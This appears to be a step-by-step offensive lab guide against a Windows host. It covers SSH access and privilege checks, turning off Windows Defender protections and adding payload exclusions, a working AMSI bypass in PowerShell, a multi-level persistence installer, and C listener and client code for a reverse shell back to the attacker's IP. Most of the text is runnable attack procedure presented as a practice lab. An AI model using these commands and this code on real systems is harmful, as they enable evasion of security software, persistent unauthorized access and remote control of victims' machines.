PRACTICAL LABS // STEP-BY-STEP

ping -c 3 192.168.1.42 # Expected: 3 replies, 0% loss, ~1ms time

ssh SWu@192.168.1.42 # You will see: SWu@192.168.1.42's password: # Type the password (characters won't show — this is normal)

whoami desktop-abc123\swu # This confirms you're logged in as SWu whoami /groups | findstr /C:"S-1-5-32-544" BUILTIN\Administrators # If this appears, you have ADMIN privileges. This is GOLDEN. whoami /priv | findstr SeImpersonatePrivilege SeImpersonatePrivilege Impersonate a client after authentication Enabled # If "Enabled" — you can escalate to SYSTEM. This is the key.

ssh gwu07@192.168.1.92 # Or test loopback: ssh gwu07@127.0.0.1

Get-MpComputerStatus | Select-Object RealTimeProtectionEnabled, AntivirusEnabled, AMServiceVersion # Run in PowerShell as Admin

Add-MpPreference -ExclusionPath "C:\Users\swu\cheyanne" # Replace with your actual working directory Add-MpPreference -ExclusionPath "C:\tmp" # Also exclude temp directory if you use it for payloads

# Create a file with EICAR test string (harmless but detected as virus) echo X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* > C:\Users\swu\cheyanne\eicar.txt # If exclusion works: file stays. If exclusion fails: file deleted instantly.

Set-MpPreference -DisableBehaviorMonitoring $true Set-MpPreference -DisableBlockAtFirstSeen $true Set-MpPreference -DisableIOAVProtection $true

# Kaspersky doesn't have a simple PowerShell API like Defender # Check if processes are running Get-Process avp, avpui, klnagent -ErrorAction SilentlyContinue | Select-Object Name, Id, Path

# This is a known AMSI bypass technique - works on most Windows versions $a = [Ref].Assembly.GetTypes() | Where-Object {$_.Name -like "*iUtils"} $b = $a.GetFields("NonPublic,Static") | Where-Object {$_.Name -like "*Context"} $c = $b.GetValue($null) $d = [UInt32[]]@(0) $c.GetType().GetField("m_pAMSI", "NonPublic,Static").SetValue($c, $null) # If no error, AMSI is bypassed. Test with: 'amsiutils' - should not trigger

cl.exe privilege_checker.c /link advapi32.lib # Or with gcc: gcc privilege_checker.c -o privilege_checker.exe -ladvapi32

curl -o service_auditor.c https://raw.githubusercontent.com/rainfantry/lessons-from-teacher/master/widgets/service_auditor.c cl.exe service_auditor.c /link advapi32.lib

# Run as current user (installs user-level persistence) powershell -ExecutionPolicy Bypass -File persistence_installer.ps1 -Level user # Run as admin (installs admin + user persistence) powershell -ExecutionPolicy Bypass -File persistence_installer.ps1 -Level admin # Run as SYSTEM (installs all three levels) powershell -ExecutionPolicy Bypass -File persistence_installer.ps1 -Level system

# Check registry Run key reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" # Check services sc query | findstr /i "WindowsSecurity"

// listener.c — runs on YOUR machine (192.168.1.92) // Compile: cl.exe listener.c /link ws2_32.lib #include #include #pragma comment(lib, "ws2_32.lib") int main() { WSADATA wsa; WSAStartup(MAKEWORD(2,2), &wsa); SOCKET s = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in addr = {0}; addr.sin_family = AF_INET; addr.sin_addr.s_addr = INADDR_ANY; addr.sin_port = htons(4444); // <-- Network byte order! bind(s, (struct sockaddr*)&addr, sizeof(addr)); listen(s, 1); printf("[+] Listening on 0.0.0.0:4444\n"); SOCKET client = accept(s, NULL, NULL); printf("[+] Connection from target!\n"); // Redirect stdin/stdout/stderr to socket // ... (see Module 16 for full implementation) return 0; }

// client.c — runs on TARGET (192.168.1.42) // This connects BACK to you #include #include #pragma comment(lib, "ws2_32.lib") int main() { WSADATA wsa; WSAStartup(MAKEWORD(2,2), &wsa); SOCKET s = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in addr = {0}; addr.sin_family = AF_INET; addr.sin_port = htons(4444); addr.sin_addr.s_addr = inet_addr("192.168.1.92"); // <-- YOUR IP connect(s, (struct sockaddr*)&addr, sizeof(addr)); // CreateProcess with stdin/stdout/stderr = socket // ... (see Module 16 for full implementation) return 0; }

# On your machine (192.168.1.92): listener.exe [+] Listening on 0.0.0.0:4444 # On target (192.168.1.42): client.exe # On your machine, you should see: [+] Connection from target! Microsoft Windows [Version 10.0.19045.3693] C:\Users\SWu> _ # You now have a shell! Type commands.

# Create a markdown file for each session # Template: ## LAB SESSION: YYYY-MM-DD ### Target: [IP/hostname] ### Objective: [What you're testing] #### Commands Run: ``` [command] [output] ``` #### Findings: - [What worked] - [What failed] - [What to try next] #### Evidence: [Screenshots, logs, file hashes] #### Next Steps: - [What to do in next session]